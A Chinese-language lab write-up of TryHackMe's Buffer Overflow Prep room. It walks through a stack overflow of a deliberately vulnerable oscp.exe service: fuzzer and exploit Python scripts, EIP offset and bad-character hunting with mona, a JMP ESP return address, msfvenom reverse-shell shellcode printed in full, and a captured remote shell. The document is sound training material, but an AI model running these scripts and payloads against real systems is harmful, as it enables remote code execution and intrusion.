前言
-
练习基于堆栈的缓冲区溢出!
-
学习mona的一些特性(https://github.com/Tib3rius/Pentest-Cheatsheets/blob/master/exploits/buffer-overflows.rst)。
部署
-
target machine : 10.10.204.138
-
attack machine : 10.11.61.123 (本机kali连接openVPN)
-
虚拟靶机是一个预装了 Immunity Debugger 和 Putty 的 32 位 Windows7 VM,该Windows系统的防火墙和 Defender 都已被禁用,以便于我们更容易地编写漏洞利用程序(exp)。
-
xfreerdp /u:admin /p:password /cert:ignore /v:10.10.87.181 /workarea
远程桌面-
在靶机桌面上应该有一个名为“vulnerable-apps”的文件夹。 此文件夹内有许多二进制文件,它们容易受到基于简单堆栈的缓冲区溢出的漏洞攻击(PWK/OSCP 课程中所教授的类型),本次实验主要针对的是已经自定义编写好的oscp.exe二进制文件,其他二进制文件暂不涉及:
- SLMail 安装程序。
- brainpan 二进制文件。
- dostackbufferoverflowgood 二进制文件。
- 漏洞服务器二进制文件。
- 自定义编写的“oscp”二进制文件,这个文件包含 10 个缓冲区溢出漏洞,每个都有不同的 EIP 偏移量和一组坏字符。
栈溢出tips: 栈溢出涉及栈中的三个寄存器(32):esp,eip,ebp-->对应64位的rsp,rip,rbp + esp:指向当前栈帧的顶部。 + ebp:指向当前栈帧的底部。 + eip:指向当前栈帧中执行的指令(可以理解为读取esp地址中所对应的信息)
Immunity Debugger简介
-
-
Immunity Debugger是一个专门用于加速漏洞利用程序(exp)开发的软件,它能辅助漏洞挖掘以及进行恶意软件分析,它具备一个完整的图形用户界面,同时还配备了迄今为止最为强的Python安全工具库,它巧妙的将动态调试功能与一个强大的静态分析引擎融合于一体,它还附带了一套高度可定制的纯pythont图形算法,可用于帮助我们绘制出直观的函数体控制流以及函数中的各个基本块。
-
该软件的调试器界面被分成以下5个主要的块。
- 左上角是CPU窗口——显示了正在处理的代码的反汇编指令。
- 右上角是寄存器窗口——显示所有通用寄存器。
- 左下角是内存窗口———以十六进制的形式显示任何被选中的内存块。
- 右下角是堆栈窗口———显示调用的堆栈和解码后的函数参数(任何原生的API调用)。
- 最底下白色的窗口是命令栏—–能够像windbg一样使用命令控制调试器,或者执行PyCommands命令。
oscp.exe - OVERFLOW1
-
使用RDP完成远程靶机登录操作之后,右键单击虚拟靶机桌面上的 Immunity Debugger 软件图标并选择“以管理员身份运行”。
-
当Immunity Debugger加载完成时,我们就可以开始对目标exe文件进行分析:单击“打开文件”图标或选择“文件” -> “打开”,接着导航到管理员用户桌面上的“vulnerable-apps”文件夹,然后是“oscp”文件夹,选择“oscp”(oscp.exe)二进制文件并单击“打开”即可。
-
该二进制文件将以“暂停”状态打开,因此我们可以单击红色播放图标或选择“调试”->“运行”以分析该文件,在Immunity Debugger的终端窗口中,我们可以看到oscp.exe 二进制文件正在运行,并告诉我们它正在侦听端口 1337。
-
本地nc监听目标及端口
nc MACHINE_IP 1337
,键入“HELP”并按下 Enter 键,请注意,此处有 10 个不同的 OVERFLOW 命令,编号为 1 - 10,我们可以键入“OVERFLOW1 test”并按回车键,对应的响应结果应该是“OVERFLOW1 COMPLETE”,然后手动终止连接。(此处是一个简单的应用程序验证过程——说明oscp.exe有十个远程入口点)┌──(kali㉿kali)-[~/桌面/THM/Buffer Overflows/Buffer Overflow Prep] └─$ nc 10.10.204.138 1337 Welcome to OSCP Vulnerable Server! Enter HELP for help. HELP Valid Commands: HELP OVERFLOW1 [value] OVERFLOW2 [value] OVERFLOW3 [value] OVERFLOW4 [value] OVERFLOW5 [value] OVERFLOW6 [value] OVERFLOW7 [value] OVERFLOW8 [value] OVERFLOW9 [value] OVERFLOW10 [value] EXIT OVERFLOW1 test OVERFLOW1 COMPLETE
Mona 配置
-
mona.py 是 Immunity Debugger 的一个强大插件,它可以帮助我们更容易地利用缓冲区溢出漏洞。
-
在本次实验环境中,mona.py 脚本已经预装在虚拟靶机上,但是为了让我们更容易地使用mona脚本,我们可以使用以下命令配置一个工作文件夹,在 Immunity Debugger 窗口底部的命令输入框中运行以下命令即可(%p代表进程的名称,即oscp):
!mona config -set workingfolder c:\mona\%p
模糊测试
-
首先通过fuzz测试找到大概多少字节会导致缓冲区溢出使目标程序崩溃——找到目标应用程序崩溃时 EIP 寄存器偏移的一般范围。
-
在本地Kali机上创建一个名为 fuzzer.py 的文件(它将发送越来越长的缓冲区字符串,并希望最终使目标应用程序崩溃),内容如下:
#!/usr/bin/env python3 import socket, time, sys ip = "10.10.204.138" port = 1337 timeout = 5 prefix = "OVERFLOW1 " string = prefix + "A" * 100 while True: try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.settimeout(timeout) s.connect((ip, port)) s.recv(1024) print("Fuzzing with {} bytes".format(len(string) - len(prefix))) s.send(bytes(string, "latin-1")) s.recv(1024) except: print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix))) sys.exit(0) string += 100 * "A" time.sleep(1)
-
在缓冲区溢出攻击中,fuzz脚本主要用于对应用程序的远程入口点进行模糊测试,下面的脚本内容并非通用,实际环境下的fuzz脚本可能会涉及username、pass等参数。
-
运行该 fuzzer.py :
┌──(kali㉿kali)-[~/桌面/THM/Buffer Overflows/Buffer Overflow Prep] └─$ python3 fuzzer.py Fuzzing with 100 bytes Fuzzing with 200 bytes Fuzzing with 300 bytes Fuzzing with 400 bytes Fuzzing with 500 bytes Fuzzing with 600 bytes Fuzzing with 700 bytes Fuzzing with 800 bytes Fuzzing with 900 bytes Fuzzing with 1000 bytes Fuzzing with 1100 bytes Fuzzing with 1200 bytes Fuzzing with 1300 bytes Fuzzing with 1400 bytes Fuzzing with 1500 bytes Fuzzing with 1600 bytes Fuzzing with 1700 bytes Fuzzing with 1800 bytes Fuzzing with 1900 bytes Fuzzing with 2000 bytes Fuzzing crashed at 2000 bytes
-
最终发现大概2000字节会导致缓冲区溢出使目标程序崩溃,在Immunity Debugger中检查 EIP 寄存器是否已被A (\x41) 覆盖,查看任何其他已被覆盖或指向内存中已被覆盖空间的寄存器。
崩溃复制和控制 EIP
-
为了控制应用程序的流程,我们有必要控制EIP寄存器,因为它指向下一条指令,为此必须知道确切的偏移量—— 要找到目标程序崩溃时EIP寄存器确切的EIP偏移量。
-
在本地Kali 机上创建另一个名为 exploit.py 的文件,内容如下:
import socket ip = "10.10.204.138" port = 1337 prefix = "OVERFLOW1 " offset = 0 overflow = "A" * offset retn = "" padding = "" payload = "" postfix = "" buffer = prefix + overflow + retn + padding + payload + postfix s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((ip, port)) print("Sending evil buffer...") s.send(bytes(buffer + "\r\n", "latin-1")) print("Done!") except: print("Could not connect.")
-
在本地机终端中运行以下命令 以生成能够让目标服务器崩溃的已知长度的随机字符串–更改下面的-l值为上一步骤中得到的fuzz结果值或者更大值(我们可以使用fuzz的结果作为下面的pattern值即模式值,也可以增大-l值以确定一个合适的随机字符串长度,例如我们可以直接将-l的值设置为比fuzz结果大400字节,下面所使用的.rb脚本能够帮助我们生成随机字符串):
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400
┌──(kali㉿kali)-[~/桌面/THM/Buffer Overflows/Buffer Overflow Prep] └─$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9
-
复制以上命令的输出结果并将其放入 exploit.py 脚本的“payload”变量中。
-
在Windows虚拟靶机中:打开Immunity Debugger,使用与之前相同的方法再次重新打开 oscp.exe文件,并单击红色播放图标使其运行–在我们每次于攻击机中运行 exploit.py脚本(我们将多次运行该脚本并进行增量修改)之前,我们都必须执行restart操作(在虚拟靶机中使用Immunity Debugger重新打开oscp.exe文件)。
-
本地运行修改后的 exploit.py 脚本
python3 exploit.py
┌──(kali㉿kali)-[~/桌面/THM/Buffer Overflows/Buffer Overflow Prep] └─$ python3 exploit.py Sending evil buffer... Done!
-
exploit.py脚本应该会再次使 oscp.exe 相关的服务器崩溃,在靶机的 Immunity Debugger 中继续操作,在调试器界面底部的命令输入框中,我们可以运行以下 mona 命令,将distance 更改为与刚才所创建的模式(pattern)相同的长度值:
!mona findmsp -distance 2400
-
distance 的值将表示我们将从哪个位置开始查找寄存器——我们从能够导致缓冲区崩溃的位置开始查找;使用能够导致崩溃的缓冲区长度并生成一个唯一的缓冲区,这样我们就可以确定覆盖 EIP 寄存器的模式中的确切偏移量,以及其他寄存器指向的模式中的偏移量。
-
此时Mona应该会让Immunity Debugger自动显示一个带有命令输出的日志窗口,如果没有自动显示该日志窗口,我们可以单击“窗口-Window”菜单,然后单击“日志数据-Log data”手动进行查看(选择“CPU”可以切换回标准视图)。
-
可以找到类似结果:EIP contains normal pattern : … (offset XXXX),确认EIP偏移量为1978字节
-
-
重新修改exploit.py中能够导致溢出的随机数据长度,使用从日志窗口的输出中所获取的EIP offset的数值即可,这意味着我们将会使用随机数据一路填充到”EIP offset”,然后我们就可以控制EIP。
-
验证偏移值:我们需要更新 exploit.py 脚本并将脚本中的“offset”变量设置为刚才日志窗口所输出的值(之前的offset变量是0),然后将 exploit.py 脚本中的 “payload” 变量重新设置为空字符串(将payload变量置空,则此处能够导致目标程序崩溃的随机字符串长度值实际上是offset变量的填充值),最后将脚本中的“retn ” 变量值设置为“BBBB”。
-
重启oscp.exe并运行,然后再次运行刚才修改后的exploit.py脚本,此时 EIP 寄存器的地址值应该已经被4B值覆盖(42424242),“\x42”对应的字符为B。(这表明我们已经成功得到了确切的EIP 偏移量且能够控制EIP)
┌──(kali㉿kali)-[~/桌面/THM/Buffer Overflows/Buffer Overflow Prep] └─$ python3 exploit.py Sending evil buffer... Done!
寻找坏字符
-
通过比较字节数组和 ESP 来查找可能的坏字符。
tips:在生成我们的 shellcode 之前,我们必须识别“badchars”,这些字符可能会干扰我们的 shellcode 的执行或导致我们的shellcode不被接受;有一些通常被忽略的“badchars”如00、0a、0d、20等,为了识别它们,我们首先要生成一个包含所有字符的字符串。
-
在虚拟靶机的Immunity中使用 mona 命令生成字节数组,默认排除空字节 (\x00),请注意生成的 bytearray.bin 文件的位置(如果根据前面提到的参考指南中的 Mona 配置部分设置了工作文件夹,则该位置应为 C:\mona\oscp\bytearray.bin),相关命令为:
!mona bytearray -b "\x00"
-
本地生成一串与前面的字节数组相同的字符串,以下 python 脚本可用于生成从 \x01 到 \xff 的一串字符:
for x in range(1, 256): print("\\x" + "{:02x}".format(x), end='') print()
- 运行badchars.py :
┌──(kali㉿kali)-[~/桌面/THM/Buffer Overflows/Buffer Overflow Prep] └─$ python badchars.py \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
-
更新 exploit.py 脚本并将 payload 变量设置为上面的python脚本所生成的字符串内容。
-
在Immunity中重启oscp.exe,再次运行修改后的exploit.py脚本,记下ESP 寄存器所指向的地址,并在以下 mona 命令中使用该地址:
!mona compare -f C:\mona\oscp\bytearray.bin -a <address>
这里重启了目标,target ip: 10.10.121.30 ,相应文件也作了对应修改 ┌──(kali㉿kali)-[~/桌面/THM/Buffer Overflows/Buffer Overflow Prep] └─$ python3 exploit.py Sending evil buffer... Done!
- ESP地址为 0184FA30,运行mon命令:
!mona compare -f C:\mona\oscp\bytearray.bin -a 0184FA30
- 除00外可能存在的坏字符:07 08 2e 2f a0 a1
-
此时的弹出窗口应显示为“mona Memory comparison results”,如果没有显示窗口,则需要手动点击“窗口”菜单进行切换并查看,该窗口将显示比较(comparison)结果,以指示mona 内存中与生成的 bytearray.bin 文件中的字符不同的任何字符;并非所有输出结果都是坏字符,有时候坏字符会导致下一个字节损坏,或者影响字符串的其余部分,所以我们还需要判断哪些结果是真正的坏字符。
-
该窗口的输出列表中的第一个 badchar 应该是空字节 (\x00),因为我们在生成的时候 已经将它从bytearray.bin文件中删除了,我们检查其他输出结果即可;使用mona生成一个新的 bytearray(字节数组)并指定排除新的badchars以及 \x00(使用-b),然后更新 exploit.py 脚本中的 payload 变量并删除新的badchars。
-
在Immunity中重启oscp.exe,再次运行修改后的exploit.py脚本,然后再次使用 badchar 比较命令——查看输出结果并判断得出真正的badchar;重复上述排除步骤,直到执行badchar比较命令后所弹出的窗口的输出列表为空 即badchar比较命令的结果状态返回“Unmodified”为止,这表明不再存在未知的坏字符,最后我们记录一下哪些字符是真正的坏字符——对于我们最终生成的有效载荷而言是必要的。
-
除去07:
#使用Immunity生成新数组,生成的数组中不包含\x00字符和\x07字符。 !mona bytearray -cpb "\x00\x07"
-
将脚本中payload变量所包含的\0x07删除:
-
重启oscp.exe并运行,执行ep:
┌──(kali㉿kali)-[~/桌面/THM/Buffer Overflows/Buffer Overflow Prep] └─$ python3 exploit.py Sending evil buffer... Done!
-
ESP地址为:0198FA30,运行mona命令:
!mona compare -f C:\mona\oscp\bytearray.bin -a 0198FA30
-
除去07后08也消失了,说明08是受07的影响,可能不是真正的坏字符,07才是
-
-
继续去除2e,重复上述步骤:
!mona bytearray -cpb "\x00\x07\x2e"
┌──(kali㉿kali)-[~/桌面/THM/Buffer Overflows/Buffer Overflow Prep] └─$ python3 exploit.py Sending evil buffer... Done!
!mona compare -f C:\mona\oscp\bytearray.bin -a 017CFA30
- 2e也是坏字符,有做提示 a0 和 a1可能是坏字符
-
继续尝试a0:
!mona bytearray -cpb "\x00\x07\x2e\xa0"
┌──(kali㉿kali)-[~/桌面/THM/Buffer Overflows/Buffer Overflow Prep] └─$ python3 exploit.py Sending evil buffer... Done!
!mona compare -f C:\mona\oscp\bytearray.bin -a 0198FA30
- 此时已成功去除所有的坏字符,OVERFLOW1远程程序入口点对应的真实坏字符为:
"\x00\x07\x2e\xa0"
- 此时已成功去除所有的坏字符,OVERFLOW1远程程序入口点对应的真实坏字符为:
寻找跳跃点
-
使用 Mona 查找 JMP 点并相应地更新漏洞利用脚本中的 RETN 变量。
-
mona jmp 命令可用于搜索特定寄存器的 jmp(或等效)指令;默认情况下,jmp 命令将忽略任何标记为 aslr 或 rebase 的模块。
-
在 oscp.exe 处于运行状态或处于崩溃状态时,运行以下 mona jmp 命令,确保使用我们已经找到的所有坏字符(包括 \x00)来更新 -cpb 选项:
!mona jmp -r esp -cpb "\x00\x07\x2e\xa0" #-cpb 选项用于排除坏字符
-
以上命令将查找所有“jmp esp”(或等效)指令,其地址不包含任何指定的坏字符,相关的输出结果应显示在一个自动弹出的“日志数据”窗口中(如果需要的话,我们也可以手动选择“窗口”菜单切换到“日志数据”窗口),接下来我们需要在窗口的输出结果中选择一条jmp esp地址并将其覆盖exploit.py脚本中的return address。
-
选择“日志数据”窗口的输出结果中的一个地址并用于更新exploit.py 脚本中的“retn”变量,此处要采用向后写入方式填充地址值(因为目标系统是小端点字节序),例如:如果 Immunity 中的“日志数据”窗口的输出结果所显示的地址是 \x01\x02\x03\x04,那么在 exploit.py脚本中应将其写为 \x04\x03\x02\x01。
-
jmp esp:0x625011af
-
retn:\xaf\x11\x50\x62
tips: 由函数调用过程可知,一般情况下,ESP中地址总是指向系统栈且不会被溢出的数据破坏,当函数返回时,ESP所指的位置是淹没的返回地址的下一位(子函数平衡栈ret n时,ESP将指向下n位)。 开始进行出栈读写操作:eip=esp,eip将从esp的地址中指向的命令进行读取,逐步出栈,此时esp开始往低地址位靠近,当esp=ebp时,ebp读取现位置中存储的地址数据发生跳转,跳到父函数ebp处。 此时esp继续出栈,获取return addr,eip跳转至父函数栈顶位置,跳跃后eip继续根据esp所含数据开始执行命令,就可以完成eip的函数执行步骤(此处要注意ret:pop eip),在本小节中:由于eip函数的返回地址被我们填充为指向jmp esp指令的地址,所以当eip从栈顶一路到栈底,就会去执行jmp esp指令,而这个时候,esp指向的地址恰好是父函数的栈顶,我们的shellcode是经过本地机发送并存储在目标的esp寄存器中的,所以我们的shellcode将会被成功执行。
-
生成有效载荷
-
在本地Kali机上运行以下命令,使用本地Kali机的TryHackMe相关VPN IP作为 LHOST 并使用我们在前面步骤中已经识别到的所有坏字符(包括 \x00)更新 -b 选项(-b选项用于排除坏字符):
msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\x00" -f c
┌──(kali㉿kali)-[~/桌面/THM/Buffer Overflows/Buffer Overflow Prep] └─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.11.61.123 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 351 (iteration=0) x86/shikata_ga_nai chosen with final size 351 Payload size: 351 bytes Final size of c file: 1506 bytes unsigned char buf[] = "\xdd\xc1\xbf\xa6\x82\x2d\xd0\xd9\x74\x24\xf4\x58\x31\xc9" "\xb1\x52\x83\xe8\xfc\x31\x78\x13\x03\xde\x91\xcf\x25\xe2" "\x7e\x8d\xc6\x1a\x7f\xf2\x4f\xff\x4e\x32\x2b\x74\xe0\x82" "\x3f\xd8\x0d\x68\x6d\xc8\x86\x1c\xba\xff\x2f\xaa\x9c\xce" "\xb0\x87\xdd\x51\x33\xda\x31\xb1\x0a\x15\x44\xb0\x4b\x48" "\xa5\xe0\x04\x06\x18\x14\x20\x52\xa1\x9f\x7a\x72\xa1\x7c" "\xca\x75\x80\xd3\x40\x2c\x02\xd2\x85\x44\x0b\xcc\xca\x61" "\xc5\x67\x38\x1d\xd4\xa1\x70\xde\x7b\x8c\xbc\x2d\x85\xc9" "\x7b\xce\xf0\x23\x78\x73\x03\xf0\x02\xaf\x86\xe2\xa5\x24" "\x30\xce\x54\xe8\xa7\x85\x5b\x45\xa3\xc1\x7f\x58\x60\x7a" "\x7b\xd1\x87\xac\x0d\xa1\xa3\x68\x55\x71\xcd\x29\x33\xd4" "\xf2\x29\x9c\x89\x56\x22\x31\xdd\xea\x69\x5e\x12\xc7\x91" "\x9e\x3c\x50\xe2\xac\xe3\xca\x6c\x9d\x6c\xd5\x6b\xe2\x46" "\xa1\xe3\x1d\x69\xd2\x2a\xda\x3d\x82\x44\xcb\x3d\x49\x94" "\xf4\xeb\xde\xc4\x5a\x44\x9f\xb4\x1a\x34\x77\xde\x94\x6b" "\x67\xe1\x7e\x04\x02\x18\xe9\x21\xd8\x1f\x92\x5d\xdc\x5f" "\x75\xc2\x69\xb9\x1f\xea\x3f\x12\x88\x93\x65\xe8\x29\x5b" "\xb0\x95\x6a\xd7\x37\x6a\x24\x10\x3d\x78\xd1\xd0\x08\x22" "\x74\xee\xa6\x4a\x1a\x7d\x2d\x8a\x55\x9e\xfa\xdd\x32\x50" "\xf3\x8b\xae\xcb\xad\xa9\x32\x8d\x96\x69\xe9\x6e\x18\x70" "\x7c\xca\x3e\x62\xb8\xd3\x7a\xd6\x14\x82\xd4\x80\xd2\x7c" "\x97\x7a\x8d\xd3\x71\xea\x48\x18\x42\x6c\x55\x75\x34\x90" "\xe4\x20\x01\xaf\xc9\xa4\x85\xc8\x37\x55\x69\x03\xfc\x75" "\x88\x81\x09\x1e\x15\x40\xb0\x43\xa6\xbf\xf7\x7d\x25\x35" "\x88\x79\x35\x3c\x8d\xc6\xf1\xad\xff\x57\x94\xd1\xac\x58" "\xbd";
-
复制生成的 C 代码字符串并使用以下形式将它们集成到exploit.py 脚本的payload变量中(当payload内容被成功发送到目标后——将存储在目标的ESP寄存器中):
前置NOP
-
由于可能使用了编码器来生成有效载荷,因此我们还需要一些内存空间来让有效载荷自行解包;将padding变量设置为 16 个“No Operation”(\x90) 或更多的字符串——即至少添加 16 个 NOP (\x90)在payload变量前:
padding = "\x90" * 16
开始漏洞利用
-
通过完成上述一系列操作,我们最终能够在exploit.py脚本中使用正确的前缀-prefix、偏移量-offset、返回地址-return address、填充-padding、有效载荷集-payload,所以我们现在可以利用缓冲区溢出漏洞来获得一个反向 shell。
-
最终的缓冲区为:
-
exp利用过程:通过目标应用程序的入口点 从缓冲区一直填充到栈底的return address,由于我们将jmp esp地址覆盖了return address,所以return address的后面就是我们的 NOP + shellcode,即父函数的栈顶,最终我们构造的shellcode(payload)得以成功执行。
-
监听:
┌──(kali㉿kali)-[~/桌面/THM/Buffer Overflows/Buffer Overflow Prep] └─$ nc -nlvp 4444 listening on [any] 4444 ...
-
重启运行oscp.exe,执行exploit.py脚本,监听成功捕捉反向shell:
┌──(kali㉿kali)-[~/桌面/THM/Buffer Overflows/Buffer Overflow Prep] └─$ python3 exploit.py Sending evil buffer... Done!
┌──(kali㉿kali)-[~/桌面/THM/Buffer Overflows/Buffer Overflow Prep] └─$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.11.61.123] from (UNKNOWN) [10.10.121.30] 49296 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami whoami oscp-bof-prep\admin
oscp.exe - OVERFLOW2
-
重复 Task 2 中描述的步骤,但针对的是 OVERFLOW2 命令。
-
重启目标,targrt ip : 10.10.188.69
-
远程桌面:
xfreerdp /u:admin /p:password /cert:ignore /v:10.10.188.69 /workarea
-
Immunity Debugger加载OSCP.exe,本地监听选择“OVERFLOW2 test”
┌──(kali㉿kali)-[~/桌面/THM/Buffer Overflow Prep] └─$ nc 10.10.188.69 1337 Welcome to OSCP Vulnerable Server! Enter HELP for help. HELP Valid Commands: HELP OVERFLOW1 [value] OVERFLOW2 [value] OVERFLOW3 [value] OVERFLOW4 [value] OVERFLOW5 [value] OVERFLOW6 [value] OVERFLOW7 [value] OVERFLOW8 [value] OVERFLOW9 [value] OVERFLOW10 [value] EXIT OVERFLOW2 test OVERFLOW2 COMPLETE
-
mona命令配置文件夹:
!mona config -set workingfolder c:\mona\%p
-
模糊测试:
